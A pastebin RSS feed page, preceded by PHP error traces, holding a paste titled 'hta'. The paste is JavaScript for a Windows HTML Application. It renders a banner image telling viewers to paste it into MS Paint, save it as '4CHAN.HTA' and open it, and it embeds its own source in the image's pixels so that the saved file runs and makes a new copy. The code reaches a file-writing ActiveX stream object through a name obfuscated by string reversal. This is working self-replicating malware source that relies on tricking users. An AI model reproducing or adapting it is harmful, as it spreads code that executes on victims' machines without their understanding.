A PHP Error was encountered

Severity: 8192

Message: Function create_function() is deprecated

Filename: geshi/geshi.php

Line Number: 4698

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 575
Function: getPaste

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/system/core/Exceptions.php:271)

Filename: view/rss.php

Line Number: 2

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/themes/geocities/views/view/rss.php
Line: 2
Function: header

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 173
Function: include

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 43
Function: _ci_load

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 579
Function: view

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

hta - Stikked hta - Stikked http://geopaste.scratchbook.ch/ en Re: hta http://geopaste.scratchbook.ch/view/93bae5da Wed, 21 Oct 2015 07:36:45 +0200 Sharp Kangaroo http://geopaste.scratchbook.ch/view/93bae5da
  1. <script id=thisscript>
  2. var settings = {};
  3. settings.top = 0.03845352397352837;
  4. settings.bottom = 0.07524049811272389;
  5. settings.left = 0.022873570904446697;
  6. settings.right = 0.04485581580192202;
  7. settings.pt = [15,0,5,0,13,10,0];
  8. settings.xc = [31,0,0,0,77,111,0];
  9. settings.fg = [190,253,122];
  10. settings.bg = [186,38,164];
  11. settings.line1 = unescape("I LOVEY OU ANONYMOUS.");
  12. settings.name = unescape("4CHAN");
  13. settings.wordchoice = [50,39,19,23,57,46,44,49,2,47,44,59,45,4,34,9,8,46];
  14. settings.savechoice = [49,36];
  15. settings.splitpoint = 0.9;
  16.  
  17. // Precompute CRC table
  18. var crc_table = [];
  19. for (var n = 0; n < 256; n++) {
  20.    var c = n;
  21.    for (var k = 0; k < 8; k++) {
  22.        if (c & 1) {
  23.            c = 0xedb88320 ^ (c >>> 1);
  24.         } else {
  25.             c = c >>> 1;
  26.         }
  27.     }
  28.     crc_table[n] = c;
  29. }
  30.  
  31. function TextPic() {
  32.     var self = this;
  33.  
  34.     // Edge array
  35.     var edges = [];
  36.     var vcurr = [];
  37.  
  38.     // Cursor position, font size, image boundaries
  39.     this.xc = 0;
  40.     this.yc = 0;
  41.     this.pt = 50;
  42.     this.xmin = 0;
  43.     this.xmax = 0;
  44.  
  45.     // Draw edge
  46.     function e(x1, x2, y1, y2, curved, v, y1r, y2r) {
  47.         if (typeof y1r == "undefined") y1r = y1;
  48.         if (typeof y2r == "undefined") y2r = y2;
  49.         x1 /= 10; x2 /= 10; y1 /= 10; y2 /= 10; y1r /= 10; y2r /= 10;
  50.         var yy1 = Math.max(Math.ceil(self.yc + y1r*self.pt), 0);
  51.         var yy2 = Math.min(Math.floor(self.yc + y2r*self.pt), edges.length - 1);
  52.         for (var y = yy1; y <= yy2; y++) {
  53.            var ys = ((y-self.yc)/self.pt - y1) / (y2 - y1);
  54.            var x;
  55.            if (curved) {
  56.                var dy = 2 * ys - 1;
  57.                x = x1 + (x2 - x1) * Math.sqrt(Math.max(1 - dy*dy, 0));
  58.            } else {
  59.                x = x1 + (x2 - x1) * ys;
  60.            }
  61.            var xx = Math.ceil(self.xc + x*self.pt);
  62.            while (edges[y].length && edges[y][edges[y].length-1] >= xx) {
  63.                 edges[y].pop();
  64.                 vcurr[y] = 1 - vcurr[y];
  65.             }
  66.             if (v != vcurr[y]) edges[y].push(xx);
  67.             vcurr[y] = v;
  68.         }
  69.     }
  70.  
  71.     // Draws other half of character using symmetry
  72.     function mirror(params, width, inv) {
  73.         for (var i = 0; i < params.length; i++) {
  74.            var p = params[i];
  75.            e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
  76.        }
  77.        for (var i = params.length - 1; i >= 0; i--) {
  78.             var p = params[i];
  79.             if (inv) {
  80.                 var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
  81.                 var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
  82.                 if (p[4]) {
  83.                     e(width-p[0],width-p[1],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
  84.                 } else {
  85.                     e(width-p[1],width-p[0],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
  86.                 }
  87.             } else {
  88.                 e(width-p[0],width-p[1],p[2],p[3],p[4],1-p[5],p[6],p[7]);
  89.             }
  90.         }
  91.     }
  92.  
  93.     function mirrorvert(params) {
  94.         for (var i = 0; i < params.length; i++) {
  95.            var p = params[i];
  96.            e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
  97.            var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
  98.            var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
  99.            if (p[4]) {
  100.                e(p[0],p[1],10-p[3],10-p[2],p[4],p[5],np7,np6);
  101.            } else {
  102.                e(p[1],p[0],10-p[3],10-p[2],p[4],p[5],np7,np6);
  103.            }
  104.        }
  105.    }
  106.  
  107.    // Character widths
  108.    var cwidth = {"A":1,"B":1,"C":.95,"D":1.05,"E":1,"F":.85,"G":1.15,"H":1,"I":.4,"J":.85,"K":1.05,"L":.85,"M":1.2,"N":1.1,"O":1.1,"P":.95,"Q":1.1,"R":.95,"S":.9,"T":.9,"U":1,"V":1,"W":1.7,"X":.95,"Y":.9,"Z":.9,"1":.4,"2":.85,"3":.9,"4":.95,".":.3,"?":.75,"!":.4,":":.4,"-":.7,"+":.7,"'":.3,"$":.9,"/":.6," ":.5};
  109.  
  110.    // Draw centered line of text
  111.    this.drawline = function(s) {
  112.        while (Math.floor(self.yc + 1.6*self.pt) >= edges.length) {
  113.             edges.push([]);
  114.             vcurr.push(0);
  115.         }
  116.         var xc0 = self.xc;
  117.         self.yc += .3*self.pt;
  118.         for (var i = 0; i < s.length; i++) {
  119.            var c = s.charAt(i);
  120.            if (c in cwidth) {
  121.                self.xc -= cwidth[c]*self.pt/2;
  122.            }
  123.        }
  124.        if (Math.ceil(self.xc) < self.xmin) self.xmin = Math.ceil(self.xc);
  125.        for (var i = 0; i < s.length; i++) {
  126.            var c = s.charAt(i);
  127.            var xc1 = self.xc;
  128.            if ("ACGJOQTVWXYZ4.?-'/".indexOf(c) != -1) {
  129.                self.xc += .05*self.pt;
  130.            } else {
  131.                self.xc += .1*self.pt;
  132.            }
  133.            switch(c) {
  134.                case "A": mirror([[3,0,0,10,0,1],[2.9,2,7,10,0,0],[4.4,3.5,2,5,0,0]],9,0);break;
  135.                case "B": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0],[5,6,2,4,1,1],[5,8,0,6,1,0,0,5]]);break;
  136.                case "C": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(8,8,0,10,0,0);break;
  137.                case "D": e(0,0,0,10,0,1);e(2,2,2,8,0,0);e(4,7,2,8,1,1);e(4,9,0,10,1,0);break;
  138.                case "E": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0]]);e(8,8,0,10,0,0);break;
  139.                case "F": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(7,7,0,6,0,0);break;
  140.                case "G": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(6,6,4,6,0,1);e(8,8,6,8,0,1);e(10,10,0,10,0,0);break;
  141.                case "H": mirror([[0,0,0,10,0,1],[2,2,0,4,0,0],[2,2,6,10,0,0]],8,0);break;
  142.                case "I": case "1": mirror([[0,0,0,10,0,1]],2,0);break;
  143.                case "J": mirror([[3.5,0,3,10,1,1,6.5,10],[3.5,2,5,8,1,0,6.5,8]],7,0);e(5,5,0,6.5,0,1);e(7,7,0,6.5,0,0);break;
  144.                case "K": e(0,0,0,10,0,1);mirrorvert([[2,2,0,4,0,0],[6,2,0,4,0,1],[9,4,0,5,0,0]]);break;
  145.                case "L": e(0,0,0,10,0,1);e(2,2,0,8,0,0);e(7,7,8,10,0,0);break;
  146.                case "M": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,4,2,6,0,1],[3,5,0,4,0,0]],10,0);break;
  147.                case "N": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,6,2,10,0,1]],9,1);break;
  148.                case "O": mirror([[5,0,0,10,1,1],[5,2,2,8,1,0]],10,0);break;
  149.                case "P": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);break;
  150.                case "Q": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(5,8,2,8,1,1,7,8);e(6,5,5,6,0,1);e(5,7,6,8,0,1);e(6,9,5,8,0,0);
  151.                          e(5,8,2,8,1,1);e(5,10,0,10,1,0);e(7,9,8,10,0,1);e(9,10,8,9,0,0);e(10,9,9,10,0,0);break;
  152.                case "R": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);e(2,5,6,10,0,1);e(5,8,6,10,0,0);break;
  153.                case "S": mirror([[3,0,0,6,1,1],[0,0,8,10,0,1],[4,5,6,8,1,1]],7,1);break;
  154.                case "T": mirror([[0,0,0,2,0,1],[3,3,2,10,0,1]],8,0);break;
  155.                case "U": mirror([[3.5,0,3,10,1,1,6.5,10],[0,0,0,6.5,0,1],[3.5,2,5,8,1,0,6.5,8],[2,2,0,6.5,0,0]],8,0);break;
  156.                case "V": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0]],9,0);break;
  157.                case "W": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0],[7,4.6,0,8,0,1],[8.1,6,3,10,0,0]],16,0);break;
  158.                case "X": mirror([[0,3,0,5,0,1],[3,0,5,10,0,1],[2.5,4.25,0,3.5,0,0],[4.25,2.5,6.5,10,0,0]],8.5,0);break;
  159.                case "Y": mirror([[0,3,0,6,0,1],[3,3,6,10,0,1],[2,4,0,4,0,0]],8,0);break;
  160.                case "Z": mirror([[0,0,0,2,0,1],[5,0,2,8,0,1],[0,0,8,10,0,1]],8,1);break;
  161.                case "2": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1,2,4);e(4.25,0,4,8,0,1);e(0,0,8,10,0,1);
  162.                          e(3.25,6.5,0,6.5,1,0,0,5.2);e(5.85,2.875,5.2,8,0,0);e(6.5,6.5,8,10,0,0);break;
  163.                case "3": e(0,0,4,6,0,1);mirrorvert([[0,0,0,2,0,1],[4,5,2,4,1,1],[4,7,0,6,1,0,0,5]]);break;
  164.                case "4": e(1.5,0,0,6,0,1);e(3.5,2.5,0,4,0,0);e(6,6,0,10,0,1);e(8,8,0,10,0,0);break;
  165.                case ".": mirror([[1,0,8,10,1,1]],2,0);break;
  166.                case "?": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1);e(2.25,2.25,4.5,7.5,0,1);
  167.                          e(4.25,6.5,0,6.5,1,0);e(4.25,4.25,6.5,7.5,0,0);mirror([[3.25,2.25,8,10,1,1]],6.5,0);break;
  168.                case "!": mirror([[0,0,0,7,0,1],[1,0,8,10,1,1]],2,0);break;
  169.                case ":": mirror([[1,0,1,3,1,1],[1,0,7,9,1,1]],2,0);break;
  170.                case "-": mirror([[0,0,4,6,0,1]],6,0);break;
  171.                case "-": mirror([[0,0,4,6,0,1],[2,2,2,4,0,1],[2,2,6,8,0,1]],6,0);break;
  172.                case "'": mirror([[0,0,0,3.5,0,1]],2,0);break;
  173.                case "$": mirror([[2.5,0,1,6,1,1],[0,0,7,9,0,1],[2.75,2.75,0,1,0,1],[4.25,4.25,0,1,0,0],[2.75,2.75,6,7,0,1],[4.25,4.25,6,7,0,0],[4.5,5,6,7,1,1]],7,1);break;
  174.                case "/": mirror([[3,0,0,10,0,1]],5,1);break;
  175.            }
  176.            self.xc = xc1;
  177.            if (c in cwidth) {
  178.                self.xc += cwidth[c]*self.pt;
  179.            }
  180.        }
  181.        if (Math.ceil(self.xc) > self.xmax) self.xmax = Math.ceil(self.xc);
  182.         self.yc += 1.3*self.pt;
  183.         self.xc = xc0;
  184.     }
  185.  
  186.     // Output picture in array of run-length encoded lines (arrays of [[r,g,b], count])
  187.     this.getRLE = function(fg, bg) {
  188.         var rle = [];
  189.         for (var y = 0; y < edges.length; y++) {
  190.            rle[y] = [];
  191.            var v = 0;
  192.            var x = self.xmin;
  193.            for (var i = 0; i < edges[y].length; i++) {
  194.                rle[y].push([v ? fg : bg, edges[y][i] - x]);
  195.                v = 1 - v;
  196.                x = edges[y][i];
  197.            }
  198.            if (x < self.xmax) rle[y].push([v ? fg : bg, self.xmax - x]);
  199.        }
  200.        return rle;
  201.    }
  202. }
  203.  
  204. function PNGEncoder(w, h) {
  205.    var crc = 0;
  206.    var stringbuf = "";
  207.    var bytebuf = 0;
  208.    var bytelen = 0;
  209.  
  210.    // Append one byte to stream
  211.    function writebyte(b) {
  212.        if (bytelen % 2 == 1) {
  213.            stringbuf += String.fromCharCode((b<<8) + bytebuf);
  214.        } else {
  215.            bytebuf = b;
  216.        }
  217.        bytelen++;
  218.        crc = crc_table[(crc ^ b) & 0xff] ^ (crc >>> 8);
  219.     }
  220.  
  221.     function writebytes(arr) {
  222.         for (var i = 0; i < arr.length; i++) {
  223.            writebyte(arr[i]);
  224.        }
  225.    }
  226.  
  227.    // Add integer in big-endian order to stream
  228.    function writeint(n, bits) {
  229.        for (var i = bits - 1; i >= 0; i--) {
  230.             writebyte((n>>>(8*i)) & 0xff);
  231.         }
  232.     }
  233.  
  234.     // Add bits to stream (little-endian order)
  235.     var bitbuf = 0;
  236.     var bitlen = 0;
  237.     function writebits(b, nbits) {
  238.         bitbuf = bitbuf | (b << bitlen);
  239.        bitlen += nbits;
  240.        while (bitlen >= 8) {
  241.             writebyte(bitbuf & 0xff);
  242.             bitbuf = bitbuf >>> 8;
  243.             bitlen -= 8;
  244.         }
  245.     }
  246.  
  247.     function flushbits() {
  248.         if (bitlen > 0) {
  249.             writebyte(bitbuf);
  250.             bitbuf = bitlen = 0;
  251.         }
  252.     }
  253.  
  254.     // Reverse bits
  255.     function rev(x, n) {
  256.         var y = 0;
  257.         for (var i = 0; i < n; i++) {
  258.            y <<= 1;
  259.            if (x & 1) y |= 1;
  260.            x >>>= 1;
  261.         }
  262.         return y;
  263.     }
  264.  
  265.     function getvalue() {
  266.         getvalue.x += (Math.sqrt(5) - 1)/2;
  267.         if (getvalue.x > 1) getvalue.x -= 1;
  268.         return getvalue.x;
  269.     }
  270.     getvalue.x = 0;
  271.  
  272.     // Create Huffman code
  273.     function randlens(ncodes, maxlen) {
  274.         var lens = [[0, getvalue()]];
  275.         for (var i = 1; i < ncodes; i++) {
  276.            do {
  277.                j = Math.floor(lens.length * getvalue());
  278.            } while (lens[j][0] == maxlen);
  279.            lens[j][0]++;
  280.            lens[i] = [lens[j][0], getvalue()];
  281.        }
  282.        lens.sort(function(x, y) {return x[1] - y[1];});
  283.        var lens2 = [];
  284.        for (var i = 0; i < ncodes; i++) {
  285.            lens2[i] = lens[i][0];
  286.        }
  287.        return lens2;
  288.    }
  289.  
  290.    // Create Huffman codes from table of Huffman code lengths
  291.    function getcodes(lens, maxlen) {
  292.        var codes = [];
  293.        var code = 0;
  294.        for (var len = 1; len <= maxlen; len++) {
  295.            for (var i = 0; i < lens.length; i++) {
  296.                if (lens[i] == len) {
  297.                    codes[i] = rev(code, len);
  298.                    code += 1;
  299.                }
  300.            }
  301.            code <<= 1;
  302.        }
  303.        return codes;
  304.    }
  305.  
  306.    // Tables of Huffman codes
  307.    var lbits = randlens(286, 15);
  308.    var dbits = randlens(30, 15);
  309.    var hbits = randlens(19, 7);
  310.    var lcode = getcodes(lbits, 15);  // literals + lengths
  311.    var dcode = getcodes(dbits, 15);  // distances
  312.    var hcode = getcodes(hbits, 7);   // huffman code lengths
  313.  
  314.    // Write length code
  315.    function writelength(len) {
  316.        if (len == 258) {
  317.            writebits(lcode[285], lbits[285]);
  318.        } else {
  319.            var n;
  320.            for (n = 7; n > 0; n--) {
  321.                 if ((len - 3) & (1 << (n+2))) break;
  322.             }
  323.             var val = ((len-3)>>>n) & 3;
  324.             val += 261 + 4*n;
  325.             if (len <= 6) val -= 4;
  326.            writebits(lcode[val], lbits[val]);
  327.            var eb = (len-3) & ((1<<n) - 1);
  328.            writebits(eb, n);
  329.        }
  330.    }
  331.  
  332.    // Write distance code
  333.    function writedist(dist) {
  334.        var n;
  335.        for (n = 13; n > 0; n--) {
  336.             if ((dist - 1) & (1 << (n+1))) break;
  337.         }
  338.         var val = ((dist-1)>>>n) & 1;
  339.         val += 2 + 2*n;
  340.         if (dist <= 2) val -= 2;
  341.        writebits(dcode[val], dbits[val]);
  342.        var eb = (dist-1) & ((1<<n) - 1);
  343.        writebits(eb, n);
  344.    }
  345.  
  346.    // Write header
  347.    writebytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D]);
  348.    crc = -1;
  349.    writebytes([0x49,0x48,0x44,0x52]);
  350.    writeint(w, 4);
  351.    writeint(h, 4);
  352.    writebytes([0x08,0x02,0x00,0x00,0x00]);
  353.    writeint(crc ^ -1, 4);
  354.  
  355.    // Begin data segment
  356.    var datalenpos = bytelen;
  357.    writeint(0, 4);
  358.    crc = -1;
  359.    writebytes([0x49,0x44,0x41,0x54]);
  360.    var datastart = bytelen;
  361.    writebytes([0x78,0x5E]);
  362.    writebits(5, 3); // last block, dynamic Huffman codes
  363.  
  364.    // Write Huffman tables
  365.    writebits(lbits.length - 257, 5);
  366.    writebits(dbits.length - 1, 5);
  367.    writebits(hbits.length - 4, 4);
  368.    var order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15];
  369.    for (var i = 0; i < order.length; i++) {
  370.        writebits(hbits[order[i]], 3);
  371.    }
  372.    for (var i = 0; i < lbits.length; i++) {
  373.        writebits(hcode[lbits[i]], hbits[lbits[i]]);
  374.    }
  375.    for (var i = 0; i < dbits.length; i++) {
  376.        writebits(hcode[dbits[i]], hbits[dbits[i]]);
  377.    }
  378.  
  379.    // Adler checksums
  380.    var s1 = 1;
  381.    var s2 = 0;
  382.  
  383.    function addrun(col, n) {
  384.        s2 = (s2 + s1*3*n + col[0]*(3*n+3)*n/2 + col[1]*(3*n+1)*n/2 + col[2]*(3*n-1)*n/2) % 65521;
  385.        s1 = (s1 + (col[0]+col[1]+col[2])*n) % 65521;
  386.        if (n >= 1) {
  387.             for (var j = 0; j < 3; j++) writebits(lcode[col[j]], lbits[col[j]]);
  388.            n -= 1;
  389.        }
  390.        while (n > 0) {
  391.             var nn = Math.min(n, 86);
  392.             writelength(3*nn);
  393.             writedist(3);
  394.             n -= nn;
  395.         }
  396.     }
  397.  
  398.     // Add run-length encoded scanline (array of [[r,g,b], count])
  399.     this.addRLE = function(rle) {
  400.         writebits(lcode[0], lbits[0]);
  401.         s2 = (s2 + s1) % 65521;
  402.         for (var i = 0; i < rle.length; i++) {
  403.            addrun(rle[i][0], rle[i][1]);
  404.        }
  405.    }
  406.  
  407.    // Decode string containing pixels in BGR order, add scanline to image
  408.    this.addBGR = function(s, charwidth, padcolor) {
  409.        writebits(lcode[0], lbits[0]);
  410.        s2 = (s2 + s1) % 65521;
  411.        var col = [0, 0, 0];
  412.        var ch = 2;
  413.        var x = 0;
  414.        for (var i = 0; i < s.length; i++) {
  415.            var word = s.charCodeAt(i);
  416.            for (var j = 0; j < charwidth; j++) {
  417.                col[ch--] = word & 0xff;
  418.                if (ch < 0) {
  419.                    addrun(col, 1);
  420.                    ch = 2;
  421.                    x++;
  422.                }
  423.                word >>>= 8;
  424.             }
  425.         }
  426.         if (ch != 2) {
  427.             addrun(col, 1);
  428.             x++;
  429.         }
  430.         if (x < w) {
  431.            addrun(padcolor, w - x);
  432.        }
  433.    }
  434.  
  435.    // Finish PNG and write to stream
  436.    this.writeto = function(stream) {
  437.        // End of block
  438.        writebits(lcode[256], lbits[256]);
  439.        flushbits();
  440.  
  441.        // Checksums
  442.        writeint(s2, 2);
  443.        writeint(s1, 2);
  444.        var datalen = bytelen - datastart;
  445.        writeint(crc ^ -1, 4);
  446.  
  447.        // End of file block
  448.        writebytes([0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]);
  449.  
  450.        // Write data to stream
  451.        var pos1 = stream.position;
  452.        if (pos1 == 0) pos1 = 2;
  453.        stream.writeText(stringbuf);
  454.        if (bytelen % 2 == 1) {
  455.            stream.writeText(String.fromCharCode(bytebuf));
  456.            stream.position -= 1;
  457.            stream.setEOS();
  458.        }
  459.        var pos2 = stream.position;
  460.  
  461.        // Go back and write in length of data segment
  462.        stream.position = pos1 + datalenpos;
  463.        function revword(w) {
  464.            return String.fromCharCode(((w & 0xff) << 8) | (w >>> 8));
  465.         }
  466.         stream.writeText(revword(datalen >>> 16));
  467.         stream.writeText(revword(datalen & 0xffff));
  468.         stream.position = pos2;
  469.     }
  470. }
  471.  
  472. function textstream(mode) {
  473.     var stream = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
  474.     stream.mode = mode;
  475.     stream.type = 2; //text
  476.     stream.open();
  477.     return stream;
  478. }
  479.  
  480. // Copy text stream to binary stream, removing Unicode garbage at beginning
  481. function tobinary(stream) {
  482.     var stream2 = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
  483.     stream2.mode = 3;
  484.     stream2.type = 1; //binary
  485.     stream2.open();
  486.     stream.position = 2;
  487.     stream.copyTo(stream2);
  488.     stream.close();
  489.     stream2.position = 0;
  490.     return stream2;
  491. }
  492.  
  493. // Get a copy of this script
  494. var scripttext = thisscript.innerHTML;
  495. scripttext = scripttext.replace(/\s*/, "").replace(/^\/\*+\//g, "");
  496. scripttext = "\r\n<scr"+"ipt id=thisscript>\r\n" + scripttext + "\r\n</scr"+"ipt>\r\n<script>/*\r\n";
  497.  
  498. // Choose words
  499. var lines = [];
  500. var wc = settings.wordchoice;
  501. lines[0] = settings.line1;
  502. lines[1] = ["OPEN", "CLICK", "TAKE", "VIEW", "START WITH"][wc[0]%5] + " " + [["THIS", "THE"][wc[1]%2] + " " + ["IMAGE", "PIC", "PICTURE", "FILE"][wc[2]%4], "ME"][wc[3]%2];
  503. if (wc[4]%2) lines[1] = "";
  504. lines[2] = ["COPY", "COPY+PASTE", "PASTE"][wc[5]%3] + [" ", " IT ", " ME ", " THIS "][wc[6]%4] + "TO " + ["PAINT", "MSPAINT"][wc[7]%2];
  505. lines[3] = "SAVE" + [" ", " IT ", " THE FILE ", " ME "][wc[8]%4] + "AS" + [":", ""][wc[9]%2];
  506. lines[4] = ["FILE NAME: ", "NAME: ", ""][wc[10]%3] + settings.name + ".HTA";
  507. lines[5] = ["SAVE AS TYPE: ", "TYPE: ", ""][wc[11]%3] + ["24-BIT BITMAP", "24 BITS", "BITMAP"][wc[12]%3];
  508. if (wc[13]%2) lines[5] = "";
  509. lines[6] = ["", "THEN ", "AND "][wc[14]%3] + "OPEN" + ["", " IT", " THE FILE", " IT AGAIN"][wc[15]%4];
  510. lines[6] = ["", lines[6], lines[6] + " AND SHIT BRICKS", "SHIT BRICKS"][wc[16]%4];
  511. if (wc[17]%2) {
  512.     var num = 1;
  513.     for (var i = 1; i <= 6; i++) {
  514.        if (i != 4 && i != 5 && lines[i] != "") {
  515.            lines[i] = num + ". " + lines[i];
  516.            num++;
  517.        }
  518.    }
  519. }
  520.  
  521. // Draw text
  522. var instr = new TextPic();
  523. instr.yc = settings.top;
  524. for (var i = 0; i < lines.length; i++) {
  525.    if (lines[i] != "") {
  526.        instr.pt = settings.pt[i];
  527.        instr.xc = settings.xc[i];
  528.        instr.drawline(lines[i]);
  529.    }
  530. }
  531. instr.xmin -= Math.round(settings.left * (instr.xmax - instr.xmin));
  532. instr.xmax += Math.round(settings.right * (instr.xmax - instr.xmin));
  533. instr.xmax += 3 - (instr.xmax - instr.xmin + 3) % 4; // make width multiple of 4 pixels
  534. var rle = instr.getRLE(settings.fg, settings.bg);
  535. var w = instr.xmax - instr.xmin;
  536. var tmargin = Math.round(settings.top * rle.length);
  537. var bmargin = Math.round(settings.bottom * rle.length);
  538. for (var i = 0; i < tmargin; i++) rle.splice(0, 0, [[settings.bg, w]]);
  539. for (var i = 0; i < bmargin; i++) rle.push([[settings.bg, w]]);
  540. var h = rle.length;
  541.  
  542. // Find place to split image
  543. var blanks = 0;
  544. for (var y = 0; y < h; y++) {
  545.    if (rle[y].length == 1) blanks++;
  546. }
  547. var iblank = Math.floor(settings.splitpoint*blanks);
  548. var ysplit;
  549. for (var ysplit = 0; ysplit < h; ysplit++) {
  550.    if (rle[ysplit].length == 1) {
  551.        if (iblank <= 0) break;
  552.        iblank--;
  553.    }
  554. }
  555.  
  556. // Encode PNG image
  557. var nlines = Math.ceil(scripttext.length / 3 / w);
  558. var png = new PNGEncoder(w, h + nlines - 1);
  559. for (var y = 0; y < ysplit; y++) {
  560.    png.addRLE(rle[y]);
  561. }
  562. for (var i = nlines - 1; i >= 0; i--) {
  563.     png.addBGR(scripttext.substr(i*3*w, 3*w), 1, settings.bg);
  564. }
  565. for (var y = ysplit + 1; y < h; y++) {
  566.    png.addRLE(rle[y]);
  567. }
  568.  
  569. // Write file
  570. var stream = textstream(3 /*rw*/);
  571. png.writeto(stream);
  572. stream = tobinary(stream);
  573. stream.saveToFile("banner.png");
  574.  
  575. close();
]]>